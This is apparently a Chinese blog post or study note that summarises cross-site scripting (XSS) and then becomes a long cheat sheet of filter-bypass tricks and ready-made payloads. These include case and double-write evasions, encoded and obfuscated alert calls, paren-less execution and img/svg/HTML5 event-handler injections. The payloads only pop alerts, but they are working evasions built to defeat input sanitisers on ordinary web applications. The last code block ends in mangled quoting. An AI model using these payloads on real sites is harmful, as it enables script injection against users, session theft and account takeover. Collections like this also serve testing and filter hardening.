头图:https://cdn.naraku.cn/imgs/web/review-xss.jpg
摘要:XSS相关知识整理。

简介

跨站脚本攻击(Cross Site Script)为了避免与层叠样式表CSS混淆,故称XSS。XSS是指攻击者利用网站没有对用户提交数据进行转义处理或者过滤不足的缺点,进而将一些代码嵌入到web页面中去,使得别的用户访问也好执行相应的嵌入代码,从而盗取用户资料、利用用户身份进行某些动作或对访问者进行病毒侵害等攻击。反射型和存储型XSS的作用一样,只是用户触发形式不同。

类型

  • 反射型:反射型XSS攻击,又称为非持久型跨站脚本攻击,它是最常见的XSS类型。漏洞产生的原因是攻击者注入的数据反映在响应上,一个典型的非持久型XSS包含一个带XSS攻击向量的链接,即每次攻击需要用户点击。
  • 存储型:存储型XSS又称为持久型跨站点脚本,持久型XSS相比非持久型XSS攻击危害更大。它一般发生在XSS攻击向量(一般指XSS攻击代码)存储在网站数据库,当一个页面被用户打开的时候执行。
  • DOM型:从效果上来说也是反射型XSS,其通过修改页面DOM节点而形成XSS。 | XSS类型 | 存储型 | 反射型 | DOM型 | | —- | —- | —- | —- | | 数据存储 | 数据库 | URL | URL | | 输出位置 | HTTP响应中 | HTTP响应中 | 动态构造的DOM节点 |

  • 区别:

    • DOM型XSS只由前端JS处理,然后直接输出到页面,不经过后端处理。
    • 反射型XSS则会经过后端处理后才输出
    • 存储型XSS经过前后端,最终存入数据库

      绕过

  • 大小写绕过

    1. <sCrIpt>alert(1)</ScRipt>
  • 双写绕过

    1. <scrSCRIPTipt>alert(1)</scrSCRIPTipt>
    2. "" oncliconclickk="alert(1)"
  • 绕过标签黑名单

    1. <script x>
    2. <script x>alert('XSS')<script y>
  • javascript绕过

    1. javas%09cript:alert()
    2. javas%0acript:alert()
    3. javas%0dcript:alert()
  • 字符实体

    1. < &lt;
    2. > &gt;
    3. = &equals;
    4. ( &lpar;
    5. ) &rpar;
  • 绕过magic_quotes_gpc:针对开启了魔术引号的网站,可通过String.fromCharCode方法将ASCII转换为字符串

    1. # 利用String.fromCharCode方法将 alert("XSS"); 转换为
    2. <script>
    3. String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34, 41,59)
    4. </script>
  • 绕过字符串的括号:

    1. alert`1`
    2. setTimeout`alert\u0028document.domain\u0029`;
  • 绕过括号和分号

    1. <script>onerror=alert;throw 1337</script>
    2. <script>{onerror=alert}throw 1337</script>
    3. <script>throw onerror=alert,'some string',123,'haha'</script>
    4. <script>throw/a/,Uncaught=1,g=alert,a=URL+0,onerror=eval,/1/g+a[12]+[1337]+a[13]</script>
    5. <script>TypeError.prototype.name ='=/',0[onerror=eval]['/-alert(1)//']</script>
  • 绕过空格:使用/绕过

    1. <img/src='1'/onerror=alert(0)>
    2. %0a 替换空格
    3. %0d 替换空格
    4. /**/ 替换空格
  • 使用其他方式执行alert

    1. window['alert'](0)
    2. parent['alert'](1)
    3. self['alert'](2)
    4. top['alert'](3)
    5. this['alert'](4)
    6. frames['alert'](5)
    7. content['alert'](6)
    8. [7].map(alert)
    9. [8].find(alert)
    10. [9].every(alert)
    11. [10].filter(alert)
    12. [11].findIndex(alert)
    13. [12].forEach(alert);
    14. prompt`${document.domain}`
    15. document.location='java\tscript:alert(1)'
    16. document.location='java\rscript:alert(1)'
    17. document.location='java\tscript:alert(1)'
    18. eval('ale'+'rt(0)');
    19. Function("ale"+"rt(1)")();
    20. new Function`al\ert\`6\``;
    21. constructor.constructor("aler"+"t(3)")();
    22. [].filter.constructor('ale'+'rt(4)')();
    23. top["al"+"ert"](5);
    24. top[8680439..toString(30)](7);
    25. top[/al/.source+/ert/.source](8);
    26. top['al\x65rt'](9);
    27. open('java'+'script:ale'+'rt(11)');
    28. location='javascript:ale'+'rt(12)';
    29. setTimeout`alert\u0028document.domain\u0029`;
    30. setTimeout('ale'+'rt(2)');
    31. setInterval('ale'+'rt(10)');
    32. Set.constructor('ale'+'rt(13)')();
  • 使用其他字符绕过;

    1. 'te' * alert('*') * 'xt';
    2. 'te' / alert('/') / 'xt';
    3. 'te' % alert('%') % 'xt';
    4. 'te' - alert('-') - 'xt';
    5. 'te' + alert('+') + 'xt';
    6. 'te' ^ alert('^') ^ 'xt';
    7. 'te' > alert('>') > 'xt';
    8. 'te' < alert('<') < 'xt';
    9. 'te' == alert('==') == 'xt';
    10. 'te' & alert('&') & 'xt';
    11. 'te' , alert(',') , 'xt';
    12. 'te' | alert('|') | 'xt';
    13. 'te' ? alert('ifelsesh') : 'xt';
    14. 'te' in alert('in') in 'xt';
    15. 'te' instanceof alert('instanceof') instanceof 'xt';

    编码

  • URL编码

    1. %3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%22%78%73%73%22%29%3B%3C%2F%73%63%72%69%70%74%3E
  • HTML编码

    1. <a href="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#34;&#120;&#115;&#115;&#34;&#41;">xss弹窗</a>
  • 八进制编码

    1. javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76'
  • Katakana:https://github.com/aemkei/katakana.js

    1. javascript:([,ウ,,,,ア]=[]+{},[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()
  • 其它特殊编码:http://aem1k.com/aurebesh.js

    Payload

    ``html Basic payload <script>alert('XSS')</script> <scr<script>ipt>alert('XSS')</scr<script>ipt> "><script>alert('XSS')</script> "><script>alert(String.fromCharCode(88,83,83))</script> Img payload <img src=x onerror=alert('XSS');> <img src=x onerror=alert('XSS')// <img src=x onerror=alert(String.fromCharCode(88,83,83));> <img src=x oneonerrorrror=alert(String.fromCharCode(88,83,83));> <img src=x:alert(alt) onerror=eval(src) alt=xss> "><img src=x onerror=alert('XSS');> "><img src=x onerror=alert(String.fromCharCode(88,83,83));> Svg payload <svgonload=alert(1)> <svg/onload=alert('XSS')> <svg onload=alert(1)// <svg/onload=alert(String.fromCharCode(88,83,83))> <svg id=alert(1) onload=eval(id)> "><svg/onload=alert(String.fromCharCode(88,83,83))> "><svg/onload=alert(/XSS/) HTML5 <body onload=alert(/XSS/.source)> <input autofocus onfocus=alert(1)> <select autofocus onfocus=alert(1)> <textarea autofocus onfocus=alert(1)> <keygen autofocus onfocus=alert(1)> <video/poster/onerror=alert(1)> <video><source onerror="javascript:alert(1)"> <video src=_ onloadstart="alert(1)"> <details/open/ontoggle="alert1`”>